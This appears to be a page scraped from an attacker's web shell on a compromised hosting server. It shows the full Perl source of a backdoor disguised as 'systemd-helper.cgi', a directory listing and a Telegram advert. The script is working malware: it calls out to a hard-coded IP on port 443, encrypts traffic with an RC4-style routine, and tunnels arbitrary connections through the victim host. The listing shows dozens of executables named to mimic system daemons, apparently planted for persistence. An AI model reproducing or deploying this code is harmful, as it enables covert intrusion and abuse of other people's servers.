aDriv4 website!

Linux server320.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
198.54.121.245

systemd-helper.cgi

#!/usr/bin/perl

use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;

my $host = '36.255.98.159';
my $port = 443;

my $xordata = "\x00" x 50;

for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }

sub Rc4_crypt {
	 
	 my $passw = shift(@_);
	 
	 my $length = shift(@_);
	 
	 my $buff0 = shift(@_);
	 
	 my $start = shift(@_);
	 
	 my $sz = shift(@_);
	 
	 my $rc4 = "\x00" x 256;
	 
	 my $pockemon0 = 0;
	
	 my $pockemon1 = 0;
	
	 my $pockemon2 = 0;
	
	 my $pockemon3 = 0;
	
	 my $pockemon4 = 0;
	
	 my $pockemon5 = 0;
	
	 my $pockemon6 = 0;
	
	 my $pockemon7 = 0;
	
	 my $pockemon8 = 0;
	 
	 my $rcx = $sz;
	 
	 my $rsi = 0;
	 
	 my $rbx = 0;
	 
	 my $gs = 0;
	 
	 my $t = 0;
	 
	 for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
	 
	 do {
		 
		 substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
		 
		 $rsi++;
		
		 $rbx++;
		
		 $rcx--;
		
		 if ($rbx == $length) {
			 
			 $rbx = 0;
		}
		 
	} while($rcx > 0);
	
	
	 while(1) {
		 
		 if ($gs == 0) {
			 
			 $pockemon2 = 0;

$pockemon3 = $length;
		}
		 
		 if ($gs != 0) {
			 
			 $gs = 0;

$pockemon2++;

if (--$pockemon3 == 0) { next; }
			 
		}
		
		 $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
		 
		 $t = unpack('C', substr($$passw, $pockemon2, 1));

$pockemon1 += $t;

$pockemon1 = $pockemon1 & 255;

$pockemon1 += $pockemon7;

$pockemon1 = $pockemon1 & 255;

$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
		 
		 substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
		 
		 substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
		 
		 $pockemon0++;

$pockemon0 = $pockemon0 & 255;
		 
		 if ($pockemon0 != 0) {
			 
			 $gs = 1;
			 
			 next;
		}
		
		 $pockemon4 = $sz;

$pockemon1 = 0;

$pockemon0 = 0;

$pockemon2 = 0;

$pockemon3 = 0;
		 
		 while(1) {
			 
			 $pockemon2++;

$pockemon2 = $pockemon2 & 255;

$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
			 
			 $pockemon1 += $pockemon7;

$pockemon1 = $pockemon1 & 255;

$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));

substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
		 
			 substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);

$pockemon8 += $pockemon7;
	
			 $pockemon8 = $pockemon8 & 255;

$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
			 
			 $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));

$pockemon5 = $pockemon5 ^ $pockemon0;
			 
			 substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
			 
			 $pockemon3++;
			 
			 if (--$pockemon4 == 0)
			 {
				 last;
			 }
			 
		}
		 
		 last;
	}
	
	 $rsi = 0;
	
	 $rcx = $sz;
	
	 $rbx = 0;
	
	 do {
		 
		 substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
		 
		 $rsi++;
		
		 $rbx++;
		
		 $rcx--;
		
		 if ($rbx == $length) {
			 
			 $rbx = 0;
		}
		 
	} while($rcx > 0);
	
}

sub synsend {
		
	 my $cSocket = shift(@_);
	 
	 my $buffer = shift(@_);
	 
	 my $flags	= shift(@_);

open(my $fh, "<", '/dev/null');

flock($fh, LOCK_EX);
	 
	 # ===============================================
	 
	 send($cSocket, $buffer, $flags);
	 
	 # ===============================================
	 
	 flock($fh, LOCK_UN);

close($fh);
}

sub newConnection {
	
	my $num = shift(@_);
	
	my $socketarray = shift(@_);
	
	my $sSocket = shift(@_);
	
	my $cSocket = shift(@_);
	
	my $buff0 = shift(@_);
	
    threads->create( sub {
		
		my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
		
		my $domain = '';
		
		my $port = 0;
		
		my $_ret = 0;
		
		my $data = '';
		
		my $buffer = '';
		
		setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
		
		fcntl($cSocket, F_SETFL, O_NONBLOCK);
		
		if (unpack('C', substr($buff0, 7, 1)) == 3) {
			
			$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
			
			$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
			
		}
		
		elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
			
			$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
			
			$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
			
		}
		
		else {
			
			 goto close_;
		}
		
		 eval {
			 
			 my $paddr = sockaddr_in($port, inet_aton($domain));
		
			 connect($cSocket, $paddr);
		 
			 vec(my $win = '', fileno($cSocket), 1) = 1;

unless (select(undef, $win, undef, 10)) { goto close_; }
		 
			 fcntl($cSocket, F_SETFL, 0);
		 
			 substr($responce, 4, 1) = "\x00";
		 
			 $_ret = 1;
			 
		 };
		 
		 close_:
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
		 
		 synsend($sSocket, $responce, MSG_NOSIGNAL);
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 if ($_ret == 1) {
			 
			 while ($$socketarray[$num] == 1) {
				 
				 vec(my $rin = '', fileno($cSocket), 1) = 1;
				 
				 unless (select($rin, undef, undef, 1)) { next; }
				 
				 $data = '';

recv($cSocket, $data, 65530, 0);
	 
				 unless ($data) { last; }
				 
				 $buffer = pack('C', $num).pack('S', length($data)).$data;
				 
				 Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
		 
				 Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
				 
				 synsend($sSocket, $buffer, MSG_NOSIGNAL);
				 
			}
		}
		
		 $$socketarray[$num] = 0;
		 
		 close($cSocket);
		 
		 substr($responce, 1, 2) = "\x00\x00";
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
		
         threads->detach();
    });
}

sub bccnct {

my $host = shift(@_);
	 
	 my $port = shift(@_);
	 
	 my $remaining = 0;
	 
	 my $remaining4 = 0;
	 
	 my @socketarr;
	 
	 my @socketarray :shared;
	 
	 my $buffer = "\x00" x 100;
	 
	 my $buffernull = "\x00" x 3;
	 
	 my $buffer0 = '';
	 
	 my $isExit = 0;
	 
	 my $ecx = 0;
	 
	 my $eax = 0;
	 
	 my $data = '';
	 
	 my $_ret = 0;
	 
	 my $ebx = 0;
	 
	 my $edx = 0;
	 
	 socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
	 
	 setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
	 
	 my $paddr = sockaddr_in($$port, inet_aton($$host));
	 
	 unless(connect($socketarr[0], $paddr)) { goto close0; }
	 
	 substr($buffer, 0, 50) = $xordata;
	 
	 substr($buffer, 50, 2) = "\xFF\xFF";
	 
	 substr($buffer, 54, 11) = "Perl script";
	 
	 Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
	 
	 send($socketarr[0], $buffer, MSG_NOSIGNAL);
	 
	 while(1) {
		 
		 if ($remaining4 != 4) {
			 
			 vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
			 
			 my $ret = select($rin, undef, undef, 60);
			 
			 next if ($ret < 0);
			 
			 if ($ret == 0) {
				 
				 last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
				 
				 last if ($remaining != 0);
				 
				 last if ($remaining4 != 0);
				 
				 Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
				 
				 synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
				 
				 next;
			}
			 
		}
		 
		 if ($remaining != 0 || $remaining4 == 4) {
			 
			 if ($edx == 0) {
				 
				 if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
					 
					 $isExit = 1;
					 
					 last;
					 
				}
				 
				 elsif ($ebx < 200 && $ebx > 0) {
				 
					 $socketarray[$ebx] = 0;
				 
				}
			
			}
			
			else {
				
				 $ecx = $edx;
				
				 $ecx = $ecx - $remaining;
				 
				 $data = '';
				 
				 recv($socketarr[0], $data, $ecx, 0);
				
				 unless ($data) { last; }
				 
				 $remaining += length($data);
				 
				 $buffer0 .= $data;
				 
				 if ($edx == $remaining) {
					 
					 Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
					 
					 if (unpack('C', substr($buffer0, 0, 1)) == 0) {
						 
						 socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
						 
						 $socketarray[$ebx] = 1;
						 
						 newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
						 
					}
					
					 else {
						 
						 send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
						 
					}
					 
					 $remaining = 0;
				}
				
			}
			 
			 $remaining4 = 0;
			 
		}
		
		else {
			
			 if ($remaining4 == 0) { $buffer0 = ''; }
			
			 $eax = 4;
			
			 $eax = $eax - $remaining4;
			 
			 $data = '';
			 
			 recv($socketarr[0], $data, $eax, 0);
			 
			 unless ($data) { last; }
			 
			 $remaining4 += length($data);
			 
			 $buffer0 .= $data;
			 
			 $buffernull = "\x00" x 3;
			 
			 if ($remaining4 == 4) {
				 
				 Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
				 
				 $ebx = unpack('C', substr($buffer0, 1, 1));
				 
				 $edx = unpack('S', substr($buffer0, 2, 2));
			 
				 $_ret = 1;
			}
			
		}
	}
	
	 close0:
	 
	 close($socketarr[0]);
	 
	 for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
	 
	 sleep 10;
	 
	 if ($isExit == 1) { exit; }
	 
	 return $_ret;

}

bccnct(\$host, \$port);

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	1777	2026-01-15 02:40:06
..	dir	-	root/root	0555	2024-10-15 03:23:47
.277jy12n2icd	application/x-executable	12.55 KB	groutibi/groutibi	0755	2025-10-06 07:30:17
.hyq3rg35z5ms	application/x-executable	12.55 KB	groutibi/groutibi	0755	2025-10-08 12:15:35
.v9d1nwga4vco	application/x-executable	12.55 KB	groutibi/groutibi	0755	2025-10-06 11:28:31
.wzfeq2ly0qj2	application/x-executable	12.43 KB	oktvpxii/oktvpxii	0755	2025-10-13 12:15:48
3ezhaw1qgeznf	application/x-executable	12.43 KB	/	0755	2025-09-18 03:59:31
NetworkManager-124	application/x-executable	12.43 KB	groutibi/groutibi	0755	2025-08-30 05:37:44
NetworkManager-289	application/x-executable	12.55 KB	/	0755	2025-09-17 03:48:16
NetworkManager-350	application/x-executable	12.55 KB	sourpgjl/sourpgjl	0755	2025-09-01 12:22:58
apache-agent	text/x-perl	9.03 KB	maidviwe/maidviwe	0755	2026-01-15 02:10:47
apache-agent-helper	application/x-executable	12.55 KB	tcdeoysr/tcdeoysr	0755	2025-12-14 09:13:29
apache-agent.cgi	text/x-perl	9.03 KB	maidviwe/maidviwe	0755	2026-01-08 04:38:55
apache-agent.daemon	application/x-executable	12.43 KB	tcdeoysr/tcdeoysr	0755	2025-12-14 01:39:25
apache-agent.so	application/x-executable	12.43 KB	maidviwe/maidviwe	0755	2025-12-13 03:25:55
apache-cache	application/x-executable	12.55 KB	theawjux/theawjux	0755	2025-12-13 06:43:36
apache-cache-helper	application/x-executable	12.43 KB	oktvpxii/oktvpxii	0755	2025-12-26 02:16:50
apache-cache.cgi	application/x-executable	12.43 KB	sourpgjl/sourpgjl	0755	2025-12-20 01:30:30
apache-cache.daemon	application/x-executable	12.43 KB	vidarvdj/vidarvdj	0755	2025-12-11 08:50:44
apache-cache.service	application/x-executable	12.43 KB	vidarvdj/vidarvdj	0755	2025-12-11 07:20:03
apache-cgi	application/x-executable	12.43 KB	tcdeoysr/tcdeoysr	0755	2025-12-26 10:18:51
apache-cgi-helper	application/x-executable	12.43 KB	articcgi/articcgi	0755	2025-12-17 03:17:11
apache-cgi.cgi	application/x-executable	12.43 KB	articcgi/articcgi	0755	2025-12-30 02:59:30
apache-cgi.service	application/x-executable	12.55 KB	articcgi/articcgi	0755	2025-12-15 12:38:03
apache-cgi.so	application/x-executable	12.43 KB	sourpgjl/sourpgjl	0755	2025-12-15 11:39:48
apache-daemon	text/x-perl	9.03 KB	rollfngr/rollfngr	0755	2026-01-14 02:18:22
apache-daemon-helper	application/x-executable	12.43 KB	sourpgjl/sourpgjl	0755	2026-01-01 07:33:55
apache-daemon.cgi	application/x-executable	12.55 KB	articcgi/articcgi	0755	2025-12-19 01:27:21
apache-daemon.daemon	application/x-executable	12.43 KB	sounhori/sounhori	0755	2025-12-23 05:58:53
apache-daemon.service	application/x-executable	12.55 KB	oktvpxii/oktvpxii	0755	2025-12-27 09:24:59
apache-fpm	application/x-executable	12.55 KB	vidarvdj/vidarvdj	0755	2025-12-27 07:36:31
apache-fpm-helper	application/x-executable	12.55 KB	tcdeoysr/tcdeoysr	0755	2025-12-26 11:22:56
apache-fpm.cgi	application/x-executable	12.55 KB	articcgi/articcgi	0755	2025-12-21 04:55:14
apache-fpm.daemon	application/x-executable	12.43 KB	sounhori/sounhori	0755	2025-12-23 06:39:27
apache-fpm.service	application/x-executable	12.55 KB	articcgi/articcgi	0755	2025-12-20 12:15:15
apache-fpm.so	application/x-executable	12.55 KB	tcdeoysr/tcdeoysr	0755	2025-12-26 04:03:36
apache-helper.daemon	application/x-executable	12.43 KB	vidarvdj/vidarvdj	0755	2025-12-22 04:13:12
apache-helper.so	application/x-executable	12.43 KB	oktvpxii/oktvpxii	0755	2026-01-14 11:35:25
apache-manager	application/x-executable	12.43 KB	vidarvdj/vidarvdj	0755	2025-12-22 10:56:23
apache-manager-helper	application/x-executable	12.43 KB	vidarvdj/vidarvdj	0755	2025-12-26 06:15:08
apache-manager.cgi	application/x-executable	12.55 KB	theawjux/theawjux	0755	2025-12-14 09:31:24
apache-manager.daemon	application/x-executable	12.43 KB	theawjux/theawjux	0755	2025-12-14 06:38:50
apache-manager.service	text/x-perl	9.03 KB	sourpgjl/sourpgjl	0755	2026-01-02 04:33:50
apache-manager.so	application/x-executable	12.43 KB	oktvpxii/oktvpxii	0755	2025-12-19 04:04:47
apache-monitor	application/x-executable	12.43 KB	tcdeoysr/tcdeoysr	0755	2025-12-22 01:35:39
apache-monitor.cgi	application/x-executable	12.43 KB	sourpgjl/sourpgjl	0755	2025-12-27 03:10:10
apache-monitor.daemon	text/x-perl	9.03 KB	maidviwe/maidviwe	0755	2026-01-07 07:40:17
apache-monitor.service	application/x-executable	12.43 KB	articcgi/articcgi	0755	2025-12-30 05:58:11
apache-monitor.so	application/x-executable	12.43 KB	sounhori/sounhori	0755	2026-01-15 02:43:31
apache-plugin-helper	application/x-executable	12.43 KB	tcdeoysr/tcdeoysr	0755	2025-12-18 11:23:36
apache-plugin.daemon	application/x-executable	12.43 KB	oktvpxii/oktvpxii	0755	2025-12-26 08:21:55
apache-plugin.service	application/x-executable	12.43 KB	theawjux/theawjux	0755	2025-12-16 11:54:31
apache-plugin.so	application/x-executable	12.43 KB	oktvpxii/oktvpxii	0755	2025-12-13 06:54:40
apache-service	application/x-executable	12.43 KB	maidviwe/maidviwe	0755	2025-12-17 11:18:32
apache-service-helper	application/x-executable	12.43 KB	tcdeoysr/tcdeoysr	0755	2025-12-15 08:37:03
apache-service.cgi	application/x-executable	12.55 KB	sourpgjl/sourpgjl	0755	2025-12-19 02:51:09
apache-service.daemon	application/x-executable	12.55 KB	sounhori/sounhori	0755	2025-12-11 07:33:03
apache-service.service	application/x-executable	12.43 KB	theawjux/theawjux	0755	2025-12-18 04:03:31
apache-service.so	application/x-executable	12.43 KB	oktvpxii/oktvpxii	0755	2025-12-16 06:17:38
apache-session	text/x-perl	9.03 KB	oktvpxii/oktvpxii	0755	2026-01-15 11:36:31
apache-session.cgi	text/x-perl	9.03 KB	maidviwe/maidviwe	0755	2026-01-03 07:35:40
apache-session.daemon	application/x-executable	12.43 KB	articcgi/articcgi	0755	2025-12-25 04:02:06
apache-session.service	text/x-perl	9.03 KB	vidarvdj/vidarvdj	0755	2026-01-11 01:40:39
apache-session.so	application/x-executable	12.43 KB	sourpgjl/sourpgjl	0755	2025-12-15 10:20:28
apache-worker.cgi	application/x-executable	12.43 KB	tcdeoysr/tcdeoysr	0755	2025-12-15 09:49:55
apache-worker.daemon	application/x-executable	12.55 KB	vidarvdj/vidarvdj	0755	2025-12-10 05:14:57
chronyd-307	application/x-executable	12.43 KB	groutibi/groutibi	0755	2025-09-01 05:16:53
chronyd-367	application/x-executable	12.55 KB	/	0755	2025-09-18 10:59:25
chronyd-432	application/x-executable	12.43 KB	groutibi/groutibi	0755	2025-08-28 12:10:50
chronyd-590	application/x-executable	12.43 KB	/	0755	2025-09-15 04:57:38
chronyd-774	application/x-executable	12.43 KB	groutibi/groutibi	0755	2025-08-31 02:25:16
chronyd-786	application/x-executable	12.43 KB	/	0755	2025-09-18 05:24:10
chronyd-846	application/x-executable	12.55 KB	groutibi/groutibi	0755	2025-08-27 02:35:10
chronyd-848	application/x-executable	12.43 KB	/	0755	2025-09-18 09:38:49
chronyd-931	application/x-executable	12.55 KB	sourpgjl/sourpgjl	0755	2025-09-14 06:25:24
dbus-agent	application/x-executable	12.55 KB	tcdeoysr/tcdeoysr	0755	2025-12-26 02:31:43
dbus-agent.daemon	application/x-executable	12.43 KB	articcgi/articcgi	0755	2026-01-04 04:33:24
dbus-agent.service	application/x-executable	12.43 KB	tcdeoysr/tcdeoysr	0755	2025-12-15 10:08:12
dbus-agent.so	application/x-executable	12.55 KB	vidarvdj/vidarvdj	0755	2025-12-20 03:31:06
dbus-cache	application/x-executable	12.55 KB	theawjux/theawjux	0755	2025-12-15 08:08:11
dbus-cache-helper	application/x-executable	12.43 KB	maidviwe/maidviwe	0755	2025-12-25 12:37:01
dbus-cache.cgi	application/x-executable	12.55 KB	tcdeoysr/tcdeoysr	0755	2025-12-16 08:59:06
dbus-cache.daemon	application/x-executable	12.55 KB	vidarvdj/vidarvdj	0755	2025-12-27 04:38:21
dbus-cache.service	application/x-executable	12.43 KB

For more Private tool come to me!

https://t.me/aDriv4vz